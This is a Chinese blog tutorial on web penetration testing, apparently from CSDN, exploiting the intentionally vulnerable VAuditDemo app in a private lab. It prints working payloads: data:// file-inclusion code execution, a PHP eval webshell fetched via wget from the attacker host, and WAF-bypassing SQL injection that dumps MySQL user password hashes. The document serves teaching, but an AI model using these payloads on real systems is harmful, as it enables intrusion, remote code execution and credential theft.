渗透测试全流程实操!零基础入门到精通,收藏这一篇就够了

渗透测试实战 - 外网渗透内网穿透(超详细) 渗透测试实验,外网渗透和内网穿透的详细操作过程以及内网代理和内网探测的方法 阅读详情

一、渗透测试概念

写在开始:进行web渗透测试之前,务必获得测试目标拥有者或组织的书面授权,明确渗透测试的范围。

在授权范围内进行渗透测试,测试结束之后,务必清除渗透测试留下的痕迹,包括访问日志、事件记录、上传的shell脚本、创建的影子账户等等。

**渗透测试,并没有一个标准的定义,但通常被解释为一种评估计算机网络系统安全的方法。**这个过程模拟恶意黑客的攻击方式,以寻找并利用系统中的安全漏洞。

渗透测试旨在挖掘目标系统的安全漏洞,取得系统的控制权,访问系统的机密数据,并发现可能影响业务持续运作的安全隐患。

**渗透测试与黑客入侵的最大区别在于其进行方式。**渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段对目标和网络设备进行检测。

这不仅能帮助管理者了解他们网络所面临的问题,还能提供针对这些问题的安全加固建议,从而帮助客户提升系统的安全性。

渗透测试按照软件测试的理念分为三种类型:白盒测试、黑盒测试、灰盒测试。

其中白盒测试是基于代码审查,再结合漏洞扫描等技术进行,黑盒测试在业内也称为盲测,除了有测试范围之外,其他全部模拟黑客攻击的过程进行操作,灰盒测试是结合白盒测试的代码审计、黑盒测试的攻击策略和技术的一种折中类型。

白盒测试的因为拥有目标所有内部与底层的知识,因此可以用最小的代价发现更多严重的隐藏的漏洞。

黑盒测试因为是盲测,因此需要依赖较高的技术能力,攻击方式也变得多样性,从而可以更完整的评估目标的安全风险,也可以检测到目标团队的应急能力。

灰盒测试集两者之长,既能快速全面检测出漏洞,同时还具备了更完整的安全风险评估能力。

安全漏洞生命周期划分

安全漏洞被发现到其消亡的过程被划分为7个步骤,其中包含的概念如下:

  • Exploit,简称EXP,利用安全漏洞造成入侵或破坏的渗透代码,又叫漏洞利用代码

  • POC:Proof of Concept:概念验证,只是验证漏洞的存在,并不会利用该漏洞进行入侵。

  • Exploit:EXP:发现漏洞后,使用恶意代码或恶意指令进行漏洞的利用和入侵。

  • 0 Day:第一个发现的漏洞,同时官方还没有发布补丁,也未公开该漏洞,漏洞处于可利用阶段。

  • RCE:Remote Code/Command Execution 远程代码/命令执行。

  • SRC:安全应急响应中心 Security Emergency Response Center。

二、web渗透测试的步骤

渗透测试步骤分为前期交互、情报收集、汇总分析、渗透攻击、后渗透攻击、报告提交等六个阶段:

  • 1、前期交互:这个阶段主要是和委托方进行商讨洽谈、获取书面授权、测试范围的确定等工作。

  • 2、情报搜集:在获得授权的基础上,对测试目标进行相应的情报收集,包括网络基本配置、域名、人员权限划分、暴露的端口、系统入口、web后台入口等。

  • 3、汇总分析:该阶段基于上一步骤、对所有收集的信息进行汇总整理、从中找出合适的渗透方向、策略,选定合适的工具以及人员分工。

  • 4、渗透攻击:开始进行漏洞挖掘、扫描、找出可用的载荷(payload),进行漏洞利用。

  • 5、后渗透攻击:getshell、上传木马、修补漏洞、清除痕迹和脚本。

  • 6、报告编写:将所有找到的安全漏洞汇总为一份渗透测试报告,提交给委托方,完成渗透任务。

本文将依据以上的步骤以一个web靶场为例,阐述web渗透测试基本流程和注意事项。

三、靶场部署

服务器配置:

操作系统CentOS7、2核CPU、2G内存、30G磁盘、网络可以访问,IP:192.168.211.132,部署xampp,vaudit

客户端配置

主机操作系统windows11,IP:192.168.1.5

渗透机CentOS7,IP:192.168.211.129,部署xampp,存储攻击用的shell

靶场搭建过程

从gitee上面下载的一个开源软件vaudit,下载地址:https://github.com/1stPeak/VAuditDemo 作者是Virink。

1、先在CentOS上面安装一个xampp5.6版本;

2、使用添加VHosts和端口的方式部署vaudit

在lampp/etc/extra目录下面,通过添加新的vhosts虚拟主机的方式来进行处理,只需要修改两个配置文件即可。

(1)修改/opt/lampp/etc/httpd.conf,添加监听端口,并且包含httpd-vhosts.conf文件。

Listen 80  # 默认端口``Listen 81  # VAudit端口``Listen 82  # 预留端口``Include etc/extra/httpd-vhosts.conf   # 取消前面的 # 号注释

(2)修改/opt/lampp/etc/extra/httpd-vhosts.conf

# 先注释掉其他已有的*:80的模板内容,增加以下内容``<VirtualHost *:81>`    `ServerName localhost`    `DocumentRoot "/opt/lampp/htdocs/vaudit"``</VirtualHost>

3、修改基本配置

使用网站管理中的php配置,将allow_url_include设置为On,也就是需要使用到远程文件包含功能。

如果xampp启动失败,需要在lampp的启动程序lampp中找到2.2.0,修改为2.8.0,如下位置

436         export LD_ASSUME_KERNEL=2.8.0

4、接下来修改并且配置数据库连接,使用vi打开/opt/lampp/htdocs/vaudit/sys目录下面的config.php文件

<?php``   ``error_reporting(0);``   ``if (!file_exists($_SERVER["DOCUMENT_ROOT"] . '/sys/install.lock')) {`        `header("Location: /install/install.php");`        `exit;``}``// 注意这行代码,是一个功能bug,下面这行是原文,需要删掉路径中../sys/,否则留言板功能失效。``//include_once '../sys/lib.php';``include_once 'lib.php';``   ``// 下面为数据库的连接设置,默认安装是不用修改的``$host = "localhost";``$username = "root";``$password = "root";``$database = "vauditdemo";``   ``$conn = mysql_connect($host, $username, $password);``mysql_query('set names utf8', $conn);``mysql_select_db($database, $conn) or die(mysql_error());``if (!$conn) {`        `die('Could not connect: ' . mysql_error());`        `exit;``}``   ``session_start();``?>

完成上述步骤之后,在浏览器中输入http://192.168.211.132:81/ 看到VAuditDemo安装界面

可以看出有两个目录没有写权限,需要sys和uploads进行赋权,在/www/admin/localhost_80/wwwroot下面执行下面的命令,这里只需要给other赋予写入权限即可。

chmod o+w sys uploads

然后刷新浏览器,现在看到可以安装了

点击安装,看到如下提示,表示完成

点击确定之后,进入到vaudit的主页面

四、信息采集

现在我们需要熟悉这个软件系统的基本功能,跟踪和监控web页面上的各个接口及交互的数据,这里需要使用到一些工具:sqlmap、burp suite、御剑后台扫描工具、带hackbar的firefox浏览器等。

先注册一个用户tester,然后使用tester进入,开启对系统的使用之旅,通过使用我们可以发现,注册普通用户不需要验证码,普通用户修改用户信息不需要二次验证,可以上传图头像图片,搜索接口,留言,查看留言,关于页面等普通用户可以点击或使用的功能。

接下来使用御剑后台扫描工具,对系统进行扫描

通过扫描我们可以发现,该目标站点存在一个后台登录的页面,可以试试看

这里可以看出后台登录是有验证码的,看来暂时是动不了这里。

不过从这里我们可以看出已经有好多个接口或功能可以提供给我们验证了,那么我们可以进入下一个环节,看看是否能够找到一些渗透的切入点。

五、概念验证

针对一个web系统,能够使用的渗透点主要包括登录密码的暴力破解、SQL注入、XSS注入、CSRF、文件包含等,对于普通用户进行暴力破解没有必要,因为我们可以自己注册一个普通用户,这里主要是考虑如何能够切入到数据库或者存储型的XSS、如果有文件包含也不错,可以进行利用。

**1、经过反复测试,可以发现一个有意思的地方:**http://192.168.211.128/index.php?module=about 这个地址的module翻译过来为模块,而about正好指向关于页面。

尝试将about改成其他任意的单词,看看页面返回情况,在这个过程中可以发现页面不会报错,但是也没有相应的提示,那么这里应该是一个文件包含的用法,没有抛出错误,估计是代码中给文件加了后缀,并且做了异常控制。

可以初步确认,这里存在一个文件包含的漏洞,需要进一步验证。

2、接下来关注一下留言功能,这里是允许用户输入内容的,在渗透中有一个核心的思想,那就是所有的输入是否用户可控。

一般来说,用户可控的输入都有一定的几率存在安全风险,如果后端代码未做过滤或者过滤不够彻底,那么这些地方就是机会,因此先从此处入手试试看。

在这个位置,我们可以尝试的有sql注入和存储型XSS,先试试sql注入,由于留言属于插入功能,因此这里优先考虑报错注入,看看是否有机会

结果发现,注入的sql代码被原样显示,显然这里没有sql注入,那么再检测一下是否可以进行XSS,在输入框中输入以下代码test 提交留言

可以看出,还是被原文显示,说明这里漏洞也被堵了,那么点击查看留言详情试试,这里我们可以获得留言详情的接口地址:http://192.168.211.128/messageDetail.php?id=9 这里参数id看起来应该是一个查询条件,那么可以尝试看看这里是否存在注入的可能。

在hackbar中输入http://192.168.211.128/messageDetail.php?id=9 or 1=1# 可以看到下图显示

从图上可以看出这里有回显,且从提示看一看出,sql代码被waf(web application firewall),这里可以知道目标使用了一种web防火墙基础,而or被替换为了sqlwaf,可以看出其防火墙代码采取的是替换策略。

那么根据经验可以试试其他的关键字和关键符号,看看替换中是否存在漏洞可以利用,在sql注入中,&&、||、_下划线,单引号,双引号这些符号是非常有用的,如果这些符号被替换,那么我们可能就得另谋出路。

因此将这几个符号放在主要尝试的位置。经过尝试可以发现下划线、单引号和双引号也被转义了,而&&和||被替换为了空,这里就留下了一个注入漏洞,可以利用||来绕过关键字的waf。

从这里我们可以看出目前至少有两个漏洞可以试试,下面我们就开始尝试,看看这两个漏洞是否可以进行利用。

六、漏洞利用

1、文件包含漏洞的利用

针对文件包含类的漏洞利用,需要知道的是有两种包含方式,第一种就是本地文件包含,这种漏洞的利用可以获取到服务器上面的基本信息,如果有文件上传漏洞存在,则可以将二者进行结合,从而getshell。

而文件包含的利用需要用到php的伪协议相关的知识,这里我们可以试试data伪协议。

先使用下面的payload试

http://192.168.211.132:81/index.php?module=data://text/plain,<?php phpinfo();?>

这个结果表示,我们其实已经可以执行OS的命令,也就是getshell。比如可以执行如下的payload

http://192.168.211.132:81/index.php?module=data://text/plain,<?php echo \`ifconfig\`;?>

可以看到已经从服务器获取到了信息,那么可以顺着这个思路往下,将服务器上面的所有能看的文件都进行浏览,从而获取我们需要的信息。

另外也可以实施挂马的操作。从攻击服务器上面去下载一个一句话木马,如果在外网上面,那么服务器需要提供外网的访问功能。

服务器脚本的位置就直接方法/opt/lampp/htdocs下面,脚本名字可以根据需要来改,其内容只有一句话<?php eval($\_POST\[0\]);?>

在浏览器中执行下面的payload

http://192.168.211.132:81/index.php?module=data://text/plain,<?php \`wget http://192.168.211.129/shell.inc -O /tmp/shell.php\`;?>

在被攻击的服务器上面的/tmp目录下面可以看到下面的结果

木马上传成功,后续可以使用蚁剑等工具进行连接服务,实施其他的操作。

2、sql注入漏洞利用

根据前面概念验证的结果,可以看出在返回留言详情的地方可以进行SQL注入,先尝试最直接的方法就是联合注入,payload如下

http://192.168.211.132:81/messageDetail.php?id=7 uni||on sel||ect database(),version(),user(),4 #

可以看到结果

从这里看出,其内部数据库配置的是本地用户root@localhost,这里可以试试能否直接从information_schema中获取表信息,使用payload如下,这里因为要绕开单引号转义,需要把数据库部分的’vauditdemo’转成hex,即

0x2776617564697464656d6f27

sel||ect table_name fr||om info||rmation_schema.tables whe||re table_schema=0x2776617564697464656d6f27

但是看到的结果如下:

这里可以看到内部对下划线做了转义,因此无法从information_schema中遍历数据库信息,那就干脆试试能否从MySQL库中获取用户信息,payload如下:

http://192.168.211.132:81/messageDetail.php?id=7 uni||on sel||ect database(),version(),user(),(sel||ect conc||at(host,0x7e,user,0x7e,passwo||rd) fr||om mysql.user) #

可以看到结果如下:

Subquery returns more than 1 row The result for [7 union select database(),version(),user(),(select concat(host,0x7e,user,0x7e,password) from mysql.user) ] is:

这里表示返回的数据不止一行,那可以使用limit进行逐行遍历,payload如下

http://192.168.211.132:81/messageDetail.php?id=7 uni||on sel||ect database(),version(),user(),(sel||ect conc||at(host,0x7e,user,0x7e,passwo||rd) fr||om mysql.user lim||it 0,1) #

可以看到结果

继续遍历,就可以发现数据库里面的具体用户信息,其中包含远程连接权限的用户

这个时候需要对用户humh的密码进行创库破解,然后使用这个用户进行远程登录到数据库服务器,对数据库进行操作,这个时候就完美的避开了系统的waf。

七、报告编写

1、文件包含问题

2、SQL注入风险

3、报告模板

八、写在最后

本文主要基于靶场环境,阐述web渗透中的一些技巧和方法,文中仅仅选取了两个漏洞作为演示,该系统中实际包含的漏洞超过10个,有需要者可以按照本文中的步骤去慢慢挖掘。

网络安全是软件系统质量模型中的重要指标之一,网络漏洞和普通缺陷的区别在于普通的缺陷一般造成的是功能的失效,从而导致用户使用存在困难或者用户无法使用。

而网络安全漏洞则可能是在用户无感知的情况下,被有心人进行利用,从而导致用户数据,公司机密等重要信息的泄露,或者服务器或个人设备整个被转成肉鸡,为攻击者的攻击提供便利和掩护。

网络安全漏洞不需要多,一个就行,因此系统在研发开始就需要将网络安全引入,现在流行的称谓是安全左移,网络安全要做到100%,甚至200%才可以。

为了帮助大家更好的学习网络安全,我给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂这些资料!

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

【渗透测试学习】—记录一次自测试渗透实战 本文是作者入门web安全后的第一次完整的授权渗透测试实战,因为最近在总结自己学习与挖掘到的漏洞,无意中翻到了这篇渗透测试报告 阅读详情

相关推荐

达梦--利用存储过程与定时任务实现数据自动迁移

本文详细介绍了在达梦数据库中如何结合存储过程与定时任务实现数据自动迁移。通过一个电商订单归档的实战案例,阐述了从设计表结构、编写具备异常处理和幂等性的存储过程,到配置DBMS_SCHEDULER定时任务的全流程。该方法能有效替代手动脚本,确保数据同步任务的稳定、准确与自动化执行,适用于报表准备、数据备份等多种场景。

weixin_29261711的博客 430

【网络安全】Web渗透测试(全流程)

发现:一共开放两个端口,80为web访问端口,3389为windows远程登陆端口,嘿嘿嘿,试一下发现:是Windows Server 2003系统,OK,到此为止。

jennycisp的博客 4725

PAT|中国大学MOOC-浙江大学翁恺-C语言程序设计习题集(更新中)

##2-0. 整数四则运算 时间限制:400 ms 内存限制:65536 kB 代码长度限制:8000 B 判题程序:Standard 作者:乔林(清华大学) 本题要求编写程序,计算2个正整数的和、差、积、商并输出。题目保证输入和输出全部在整型范围内。 输入格式: 输入在一行中给出2个正整数A和B。 输出格式: 在4行中按照格式“A 运算符 B = 结果”顺序输出和、差、积、商。 输入样例: 3 ...

小鱼波波波 6万+

Web渗透测试实战——(1)Web渗透测试简介

渗透测试实战_Web渗透测试简介 ·什么是渗透测试·渗透测试类型·渗透测试阶段1. 信息收集与侦查2. 枚举3. 漏洞评估与分析4. 漏洞利用5. 报告功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能,丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 ·什么是渗透测试 渗透测试(p

重在分享 1万+

腾讯滑块验证码collect参数逆向与JSVMP对抗实战

本文深入解析腾讯滑块验证码collect参数的逆向过程与JSVMP虚拟机对抗技术。通过详细的环境搭建、抓包分析和JSVMP逆向技巧,揭示collect参数的生成逻辑与加密流程,并提供完整的模拟实现方案和常见问题排查方法,助力开发者突破腾讯天御验证码的防护机制。

weixin_29009501的博客 1584

单像素成像技术原理与Matlab仿真实现

傅里叶变换是数字图像处理的核心数学工具,它将图像从空间域转换到频率域表示。基于傅里叶频谱分析的成像技术通过采集关键频率分量实现图像重建,这种原理催生了单像素成像这一创新技术。单像素成像利用空间光调制器和单个探测器直接测量傅里叶系数,结合压缩感知算法实现高效成像,在红外、太赫兹等特殊波段展现出独特优势。通过Matlab仿真可以验证傅里叶基测量矩阵的构建、压缩感知重建等关键技术环节,为实际系统开发提供理论基础。该技术在弱光环境成像、显微观测等领域具有重要应用价值,其低成本特性也大大降低了特殊波段成像的门槛。

weixin_29061425的博客 346

渗透测试全流程实操!零基础入门到精通,收藏这一篇就够了_渗透测试实战

网络安全是软件系统质量模型中的重要指标之一,

shanguicsdn111的博客 1984

鸿蒙接入微信支付 微信H5网页在鸿蒙系统的适配方法(含支付兼容方案) 微信H5适配鸿蒙系统 | ArkWeb识别 | 鸿蒙浏览器UA | 微信支付鸿蒙适配 | 鸿蒙微信判断方式

微信H5网页鸿蒙系统适配指南 针对微信H5网页在鸿蒙系统出现的兼容问题,本文提供完整适配方案。关键点包括: 环境识别:

代码简单说 Vue、JAVA、PHP、Node.js 熟练运用,接口、架构、性能全搞定。 1302

渗透测试的主要目的是什么?渗透测试入门到精通教程,收藏这一篇就够了

1、熟练掌握各种渗透测试工具的使用 (包括但不限于 Burp Suite、SQLMap、APPScan、AWVS、Nmap、MSF、Cobalt Strike 等);通过模拟黑客攻击对业务系统进行安全性测试,比黑客更早发现可导致企业数据泄露、资产受损、数据被篡改等漏洞,并协助企业进行修复。这也是耗费了大白近四个月的时间,吐血整理,文章非常非常长,觉得有用的话,希望粉丝朋友帮忙点个**「分享」对于从来没有接触过黑客/网络安全的同学,目前网络安全、信息安全也是计算机大学生毕业薪资相对较高的学科。

Libra1313的博客 1493

SolidWorks速成教程P3-6【零件 | 第六节】——草图封闭轮廓&所选轮廓&厚度为零的报错

到这里,我们已经将特征成型的常用功能学完。这节我来继续讲解一下 SolidWorks中建模的一些容易忽略的问题(草图封闭轮廓&所选轮廓&厚度为零的报错)。

嵌入式阿齐Archie 5781

倍福PLC--PERSISTENT断电保持数据和BOOT中各文件对应的解析

将D:\TC3程序\TwinCAT Project146\TwinCAT RT(x86)\Plc 文件夹的中三个替换文件复制到:G:\TwinCAT\3.1\Boot\Plc完成替换,如下图。(2) 找到程序所存的路径,编程电脑的D:\TC3程序\TwinCAT Project146路径下,并选择对应系统平台TwinCAT RT(x86)(3) 控制器断电,拔出内存卡,使用读卡器,在编程电脑中打开:(本次测试读卡器为G盘)(5) 开机完成后,TwinCAT自动运行,当前闪灯频率为50ms。

weixin_41883890的博客 2347

如何入门渗透测试, 零基础入门到精通,收藏这一篇就够了

渗透测试就是模拟真实黑客的攻击手法对目标网站或主机进行全面的安全评估,与黑客攻击不一样的是,渗透测试的目的是尽可能多地发现安全漏洞,而真实黑客攻击只要发现一处入侵点即可以进入目标系统。一名优秀的渗透测试工程师也可以认为是一个厉害的黑客,也可以被称呼为白帽子。一定要注意的是,在进行渗透测试前,需要获得目标客户的授权,如果未获得授权,千万不要对目标系统进行渗透测试,后果请查看《网络安全法》。同时要有良好的职业操守,不能干一些违法的事情。

VN520的博客 1504

Chamfer Loss

ChamferLoss是一种常用于3D点云(pointcloud)处理的损失函数,特别是在点云生成和对齐任务中。它的目的是度量两个点集之间的相似度,特别是在点云重建、配准或生成等任务中,常用于优化模型使得生成的点云更接近真实的点云。

夜空中明亮的星的专栏 455
上一篇: 网络安全工程师好就业吗?网络安全工程师就业前景如何?零基础入门到精通,收藏这一篇就够了
下一篇: 保姆级别的挖漏洞教程,零基础入门到精通,收藏这一篇就够了
程序员_大白
博客等级 码龄5年 1万+粉丝 4001原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值